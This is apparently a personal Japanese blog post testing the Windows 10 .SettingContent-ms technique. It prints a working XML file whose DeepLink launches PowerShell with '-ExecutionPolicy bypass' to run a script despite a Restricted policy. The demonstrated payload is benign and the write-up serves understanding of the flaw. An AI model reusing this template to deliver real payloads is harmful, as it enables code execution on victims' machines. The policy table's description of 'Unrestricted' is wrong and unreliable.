SettingContent-msでPowershellのRestrictedをBypassした
業務後の空いた時間で、ずっとできていなかった検証をやったので適当にメモしておく。
はじめに
2018年7月2日(米国時間)、Malwarebytesが公開した情報によると、あるセキュリティリサーチャーが、Windows 10特有のファイルで拡張子が「.SettingContent-ms」という設定コンテンツファイルにおいて、任意のコードを記述し、実行できることを発見した。
この挙動を検証して、Windowsに搭載されているPowershellの実行ポリシーを回避し、Powershellスクリプトの実行に成功したので、その備忘録を兼ねて書く。
設定コンテンツファイルとは
設定コンテンツファイルである、「.SettingContent-ms」という拡張子のファイルは、XML形式のファイルで、主にコントロールパネルに対してショートカットを作成する目的で使われている。
Windowsのエクスプローラ(Explorer.exe)が実行し、Windows 10の各種設定画面を呼び出すことができる。
この.SettingContent-msという拡張子の設定コンテンツファイルでは、任意のコードを記述して実行できる。
任意コードの記述、実行
設定コンテンツファイルの.SettingContent-msには、DeepLinkという要素がある。
このDeepLinkは、任意のコードが記述でき、設定コンテンツファイルを実行した際に、記述した任意のコードが実行される仕組みになっている。 また、ここで指定したコードはユーザーに許可なしで実行される。
ちなみにMicrosoftによると、これは仕様のようで、修正するつもりはないとのこと*1*2。
この任意コードの記述、実行の仕組みを使ってPowershellスクリプトを実行する。
Powershellの実行ポリシー
Windowsに搭載されているPowershellには実行ポリシーが存在する。
主に以下のようなポリシーがある。
実行ポリシー | 概要 |
---|---|
Bypass | 警告表示やユーザーへ確認をせずに全てのスクリプトが実行可能 |
Unrestricted | 信頼できる発行元が署名したスクリプトのみを実行可能 |
RemoteSigned | ダウンロードしたスクリプトのうち、信頼できる発行元が署名したスクリプトのみ実行可能 |
AllSigned | 信頼できる発行元が署名したスクリプトのみを実行可能 |
Restricted | 全てのスクリプトの実行を禁止。対話型モードのみ |
一番ポリシーが厳しいRestrictedな環境で、Powershellの実行ポリシーをbypassして、Powershellスクリプトを実行した。
検証
実行するPowershellスクリプトの作成
Hello, Worldを表示するとともに、実行ポリシーを表示するスクリプトを書く。
このスクリプトをtest.ps1
として保存しておく。
$string = "Hello, World!" Write-Host $string Get-ExecutionPolicy
任意のコードを記述した設定コンテンツファイルの作成
サンプルとなるコードはここから拝借し、一部改変する。
以下の点を変更。
- 実行ファイルを calc.exe から powershell.exe に変更
- -NoExitオプションを追加してスクリプト実行後ウィンドウを閉じないように
- -ExecutionPolicyオプションに bypass パラメータを渡して実行ポリシーを bypass で実行
- -Fileオプションで先ほど作成した実行するスクリプトファイルを指定
test.txt.settingcontent-ms
ファイルとして保存しておく。
<?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -ExecutionPolicy bypass -File [test.ps1のファイルパス]</DeepLink> <Icon>%windir%\system32\control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
設定コンテンツファイルの実行
作成したtest.txt.settingcontent-ms
ファイルを実行する。
結果、Restrictedなポリシーが設定されていても、任意のスクリプトを読み込んで実行できた。 一連の流れを貼っておく。
設定コンテンツファイルと、実行される.ps1ファイルを用意
Powershellの実行ポリシがRestrictedで、スクリプトファイルを実行できないことを確認
設定コンテンツファイルからPowershellによってスクリプトの実行を確認(下ウィンドウ)
まとめ
PowershellのRestrictedな実行ポリシーをbypassして、任意のPowershellスクリプトを実行できた。
他、わかったこと
アイコンやファイルの種類はまだ偽装できていない
スクリプトの実行権限は、設定コンテンツファイルを実行したユーザと思われる
管理者権限を得るためには、管理者にて実行するか、他の脆弱性を組み合わせる必要がありそう
ただし、いくつかのセキュリティ製品では、悪意あるコードを記述した設定コンテンツファイルは検知され、駆除あるいは隔離されることを確認した。
検知回避など悪用する方法はいくらでも思いつきそうだが、ここまでにしておく。
以上。